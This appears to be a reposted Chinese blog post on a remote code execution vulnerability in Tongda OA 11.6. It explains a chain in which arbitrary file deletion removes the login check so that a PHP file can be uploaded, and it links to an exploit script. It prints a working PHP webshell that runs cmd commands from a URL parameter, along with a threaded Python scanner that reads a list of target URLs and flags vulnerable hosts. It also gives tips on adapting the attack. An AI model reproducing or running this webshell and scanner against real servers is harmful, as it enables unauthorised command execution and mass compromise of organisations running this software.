zoukankan      html  css  js  c++  java
  • 通达OA 11.6 RCE 漏洞(含EXP,POC,环境)

    漏洞环境下载:http://www.kxdw.com/soft/23114.html

    漏洞EXP:https://github.com/TomAPU/poc_and_exp/blob/master/rce.py

    漏洞POC:见文末(其实也简单就是验证/module/appbuilder/assets/print.php 此文件存不存在。)

    漏洞EXP利用原理

      根据exp构造了上传文件名和内容 {‘FILE1’: (‘hack.php’, payload)}
      同时利用file_exists函数的漏洞构造/.<>./.<>./.<>./ 逃逸出来
      也就是说在这里构造访问上传后
      file_exists判断存在将文件加_拼接目录移动到根目录下并删除原文件

      总体的根据exp分析 首先存在了任意文件删除漏洞
      然后删除登陆校验文件,进而导致任意文件上传漏洞
      组合之后也就是现在的rce漏洞

    利用漏洞不要直接打EXP会导致网站出现问题。(会成为这个样子=。=)

    EXP直接在代码里修改target和payload就好。上传的文件名也可在代码中修改。

    payload的一些马可能无法执行命令,此马可顺利执行命令。

    <?php
        $command=$_GET['a'];
        $wsh = new COM('WScript.shell');
        $exec = $wsh->exec("cmd /c ".$command);
        $stdout = $exec->StdOut();
        $stroutput = $stdout->ReadAll();
        echo $stroutput;
    ?>

    POC:

    存在/module/appbuilder/assets/print.php此文件(会出现如下界面。也会跳转url)

    POC代码,只需要验证文件是否存在就好,是否返回状态码是200。

    #!/usr/bin/enc python
    # _*_ coding: utf-8 _*_
    
    import requests
    import os
    import sys
    import threading
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    
    file = str(sys.argv[1])
    write = sys.argv[2]
    duwenjian = open(file , 'r' , encoding='UTF-8')
    xiewenjian = open(write , 'w')
    ff = duwenjian.readlines()
    
    def webhttp():
        for line in ff:
            try:
                line = line.rstrip("\n")
                payload = "/module/appbuilder/assets/print.php"
                url = line + payload
                qingqiu = requests.get(url, verify=False, timeout=1)
                zhuangtai = qingqiu.status_code
                if zhuangtai == 200 :
                    print(url)
                    xiewenjian.write(url)
                    xiewenjian.write('\n')
                else :
                    pass
            except OSError:
                pass
    
    def main():
        f = threading.Thread(target=webhttp)
        f.start()
        f.join()
        duwenjian.close()
        xiewenjian.close()
    
    if __name__=="__main__":
        main()

  • 相关阅读:
    Revit 开发将自己的窗口设置为Revit窗口
    Revit api 创建楼梯图元
    Revit api 创建族并加载到当前项目
    tomcat源码阅读之BackupManager
    tomcat源码阅读之Tribes.RpcChannel
    tomcat源码阅读之集群
    Java单播、广播、多播(组播)---转
    tomcat源码阅读之默认连接器
    centos8运行脚本找不到python项目解决
    python虚拟环境冻结与安装
  • 原文地址:https://www.cnblogs.com/hackmang/p/13549954.html
Copyright © 2011-2022 走看看